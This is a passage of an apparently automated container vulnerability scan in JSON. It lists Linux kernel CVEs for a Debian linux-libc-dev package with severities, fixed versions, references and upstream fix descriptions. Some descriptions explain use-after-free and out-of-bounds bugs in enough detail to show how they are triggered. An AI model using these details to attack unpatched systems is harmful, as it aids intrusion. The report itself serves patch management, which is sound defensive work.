"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/f00a50876d2818bd6dc86fa98b3ef360884c53c8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/03d8843b143ebbbfaf48511922abc6e886575a61", "https://git.kernel.org/stable/c/0caa9f348f8b5356900de77b0bb89a697c4aff20", "https://git.kernel.org/stable/c/129f8939e5af683cec3a1a5edcb40a64636ad81e", "https://git.kernel.org/stable/c/1d4d8ee002083ca4ead5353662bf8362428af57f", "https://git.kernel.org/stable/c/220162c9fedbe992da70d70f50a10da4f45f914c", "https://git.kernel.org/stable/c/c38c8b0db3c65b597e7ece317b6cb59de3d15e69", "https://git.kernel.org/stable/c/e3724dedf57761c6de52f4d604ec74f66fd61611", "https://git.kernel.org/stable/c/f00a50876d2818bd6dc86fa98b3ef360884c53c8", "https://linux.oracle.com/cve/CVE-2026-72052.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081515-CVE-2026-72052-1653@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72052", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72052" ], "PublishedDate": "2026-08-15T06:21:14.523Z", "LastModifiedDate": "2026-10-19T22:17:24.12Z" }, { "VulnerabilityID": "CVE-2026-72061", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72061", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c1d0f0cf0f195d4fdd1974339b0dc91cca60df9fcb28edc510060c7f52b39957", "Title": "kernel: net: sit: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sit: require CAP_NET_ADMIN in the device netns for changelink\n\nipip6_changelink() operates on at most two netns, dev_net(dev) and the\ntunnel link netns t-\u003enet. They differ once the device is created in or\nmoved to a netns other than the one the request runs in. The rtnl\nchangelink path checks CAP_NET_ADMIN only against dev_net(dev), so a\ncaller privileged there but not in t-\u003enet can rewrite a tunnel that\nlives in t-\u003enet.\n\nGate ipip6_changelink() on rtnl_dev_link_net_capable() at its top,\nbefore any attribute is parsed. sit was the one tunnel type not covered\nby the recent series that added this check to the other changelink()\nhandlers.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72061", "https://git.kernel.org/linus/27ccb68e7cccead5d8c611665a45d23032d468b3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/27ccb68e7cccead5d8c611665a45d23032d468b3", "https://git.kernel.org/stable/c/3118e97dae533fb45964b87bbed1801afcff7c65", "https://git.kernel.org/stable/c/388ccffbd2e7e5e4271f291085a7451865705305", "https://git.kernel.org/stable/c/7d139dec96691cde96cb40ed293e2d13d994fb4f", "https://git.kernel.org/stable/c/99ae3248b33df94201915d9c32e7470cdf08cfcd", "https://git.kernel.org/stable/c/c0ea1aedb37bb979e864ed7787975434bbd9db73", "https://git.kernel.org/stable/c/c5a0ae895432596b2f464172da8218e2d84e2932", "https://git.kernel.org/stable/c/cb41b308e9d867725d965b291dd085028e36a480", "https://linux.oracle.com/cve/CVE-2026-72061.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081517-CVE-2026-72061-0d04@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72061", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72061" ], "PublishedDate": "2026-08-15T06:21:15.637Z", "LastModifiedDate": "2026-10-19T22:17:24.953Z" }, { "VulnerabilityID": "CVE-2026-72083", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72083", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:181af1471a3c01f95e32084476380c264b894b234f41fad244cc397e230a5f6b", "Title": "kernel: scsi: target: core: Fix iSCSI ISID use-after-free in REGISTER AND MOVE", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: core: Fix iSCSI ISID use-after-free in REGISTER AND MOVE\n\ncore_scsi3_emulate_pro_register_and_move() maps the PERSISTENT RESERVE OUT\nparameter list with transport_kmap_data_sg() and parses the destination\nTransportID with target_parse_pr_out_transport_id(). For an iSCSI\nTransportID (FORMAT CODE 01b), iscsi_parse_pr_out_transport_id() returns\nthe ISID in iport_ptr as a raw pointer into that mapped buffer.\n\nThe function then unmaps the buffer with transport_kunmap_data_sg() before\ndereferencing iport_ptr in strcmp(), __core_scsi3_locate_pr_reg() and\ncore_scsi3_alloc_registration(). When the parameter list spans more than\none page (PARAMETER LIST LENGTH \u003e 4096), transport_kmap_data_sg() uses\nvmap() and transport_kunmap_data_sg() does vunmap(), so the kernel virtual\naddress backing iport_ptr is torn down and every subsequent dereference is\na use-after-free read of the unmapped region.\n\nKeep the parameter list mapped until iport_ptr is no longer needed: drop\nthe early transport_kunmap_data_sg() and unmap once on the success path,\nright before returning. The error paths already unmap through the existing\n\"if (buf) transport_kunmap_data_sg(cmd)\" at the out: label, which now runs\non every post-map error exit because buf is no longer cleared early. Only\nreads of the mapping happen while spinlocks are held; the map and unmap\ncalls remain outside any lock. The sibling caller\ncore_scsi3_decode_spec_i_port() already uses the buffer before unmapping it\nand is left unchanged.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-72083", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/fda6a1f3c3d7047b5ce5654487649c2daa738bfc%20%287.2-rc4%29", "https://git.kernel.org/stable/c/05b3e37433cf2eaf8867f1c16528aa347bb212ab", "https://git.kernel.org/stable/c/59a2a5a37dc49a641ad6bc64aee34e5a61025ffd", "https://git.kernel.org/stable/c/7d56f5c868d92c9d504a34a3ea450bce481c7f63", "https://git.kernel.org/stable/c/9f8076cc73dfa6b10155978c160587e986b22169", "https://git.kernel.org/stable/c/a040004846f1fbe687f6ec76d9ccc27b4ead42e4", "https://git.kernel.org/stable/c/cb7bdae7fba404852ade34b0c1445fbaf3e54fbb", "https://git.kernel.org/stable/c/ef2ee18fec92088c7d8877baf7674e89389ccd66", "https://git.kernel.org/stable/c/fda6a1f3c3d7047b5ce5654487649c2daa738bfc", "https://linux.oracle.com/cve/CVE-2026-72083.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026081521-CVE-2026-72083-e7ac@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72083", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72083" ], "PublishedDate": "2026-08-15T06:21:20.167Z", "LastModifiedDate": "2026-10-19T22:17:26.24Z" }, { "VulnerabilityID": "CVE-2026-72098", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72098", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f4d0bf081bf2f4224e960bb66b564a4aa864793b0b3e1a58193cb0856a6ff251", "Title": "kernel: dm-verity: fix buffer overflow in FEC calculation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity: fix buffer overflow in FEC calculation\n\nThere's a buffer overflow in dm-verity-fec:\n\nif (neras \u0026\u0026 *neras \u003c= v-\u003efec-\u003eroots)\n\tfio-\u003eerasures[(*neras)++] = i;\n\nThis allows *neras to reach roots + 1 (the post-increment pushes it past\nroots). This value is then passed as no_eras to decode_rs8(). Inside the\nRS decoder (lib/reed_solomon/decode_rs.c:113-121), the erasure locator\npolynomial loop writes lambda[j] where j can reach nroots + 1 — one\nelement past the end of lambda[] (which is sized nroots + 1, valid\nindices 0..nroots). The out-of-bounds write lands on syn[0], corrupting\nthe syndrome buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-72098", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/31d6e6c0ba8d5a7bd59660035a089307100c5e8e%20%287.2-rc3%29", "https://git.kernel.org/stable/c/31d6e6c0ba8d5a7bd59660035a089307100c5e8e", "https://git.kernel.org/stable/c/374775626c327aec2425c16b4d36706e5f8718b8", "https://git.kernel.org/stable/c/5488d3a69d205e28f74f18857b853aa12e778e66", "https://git.kernel.org/stable/c/84d4d2a6988c9a733f7821452cefb5b0d93de2d1", "https://git.kernel.org/stable/c/dc662eed1c432cc2fd4e9314f58d30b3a8cca7cc", "https://git.kernel.org/stable/c/f7990c2b0f08b8841fcd2652d1d7002f5994a7a7", "https://linux.oracle.com/cve/CVE-2026-72098.html", "https://linux.oracle.com/errata/ELSA-2026-67468-0.html", "https://lore.kernel.org/linux-cve-announce/2026081524-CVE-2026-72098-cbda@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72098", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72098" ], "PublishedDate": "2026-08-15T06:21:23.897Z", "LastModifiedDate": "2026-10-30T13:19:46.927Z" }, { "VulnerabilityID": "CVE-2026-72123", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72123", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9747d7579cb5455ccff21d89c27132ce69674bc7fc426465d1365c69ec92f258", "Title": "kernel: can: bcm: thrtimer use-after-free during RX operation teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: bcm: defer rx_op deallocation to workqueue to fix thrtimer UAF\n\nCommit f1b4e32aca08 (\"can: bcm: use call_rcu() instead of costly\nsynchronize_rcu()\") replaced synchronize_rcu() in bcm_delete_rx_op()\nwith call_rcu() and introduced the RX_NO_AUTOTIMER flag.\n\nHowever, this flag check was omitted for thrtimer in the packet rx\nfast-path. During BCM RX operation teardown, a concurrent RCU reader\n(bcm_rx_handler) can race and re-arm thrtimer via\nbcm_rx_update_and_send() after call_rcu() has been scheduled. Once\nthe RCU grace period elapses, bcm_op is freed. The subsequently\nfiring thrtimer then dereferences the deallocated op, causing a UAF.\n\nAdding flag checks to the rx fast-path (bcm_rx_update_and_send) does not\nfully close the TOCTOU race and introduces latency for every CAN frame.\nConversely, calling hrtimer_cancel() directly inside the RCU callback\n(softirq context) is fatal as hrtimer_cancel() can sleep, triggering\na \"scheduling while atomic\" panic.\n\nResolve this by deferring the timer cancellation and memory free to a\ndedicated unbound workqueue (bcm_wq). The RCU callback now queues a\nwork item to bcm_wq, which safely cancels both timers and deallocates\nmemory in sleepable process context. A dedicated workqueue is used to\nprevent system-wide WQ saturation and is cleanly flushed/destroyed\non module unload to avoid rmmod page faults.\n\nSince the deferred work can now outlive the calling context by an\nunbounded amount, also take a reference on op-\u003esk when it is assigned\nand drop it only once the deferred work has cancelled both timers, so a\nsocket can no longer be freed out from under a still-armed timer whose\ncallback (bcm_send_to_user()) dereferences op-\u003esk.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:43307", "https://access.redhat.com/security/cve/CVE-2026-72123", "https://bugzilla.redhat.com/2429611", "https://bugzilla.redhat.com/2436755", "https://bugzilla.redhat.com/2481972", "https://bugzilla.redhat.com/2482612", "https://bugzilla.redhat.com/2482615", "https://bugzilla.redhat.com/2492458", "https://errata.almalinux.org/9/ALSA-2026-43307.html", "https://git.kernel.org/linus/68973f9db76144825e4f35dfdc80fb8279eb2d57%20%287.2-rc4%29", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=68973f9db761", "https://git.kernel.org/stable/c/036a8c320ca11bc912e8027adcfad14b326f067e", "https://git.kernel.org/stable/c/3cf4fd5316f449811d8baf1bc6978ef5a7b743a9", "https://git.kernel.org/stable/c/4177762f70646ac48a2af382e45a795cbd295198", "https://git.kernel.org/stable/c/68973f9db76144825e4f35dfdc80fb8279eb2d57", "https://git.kernel.org/stable/c/6fd08e8d826c3aa4cc7021f5f9cdbb7fa7441d3f", "https://git.kernel.org/stable/c/cd830e0bc25ee2d38cbfbdbb3cd77c5f53b2b6d5", "https://git.kernel.org/stable/c/ce2d4b121fb7545e1ed588e860c8e5fd5ad45224", "https://git.kernel.org/stable/c/de5fce46637de05bef56ec08528127676eb6fc9b", "https://linux.oracle.com/cve/CVE-2026-72123.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-72123", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72123" ], "PublishedDate": 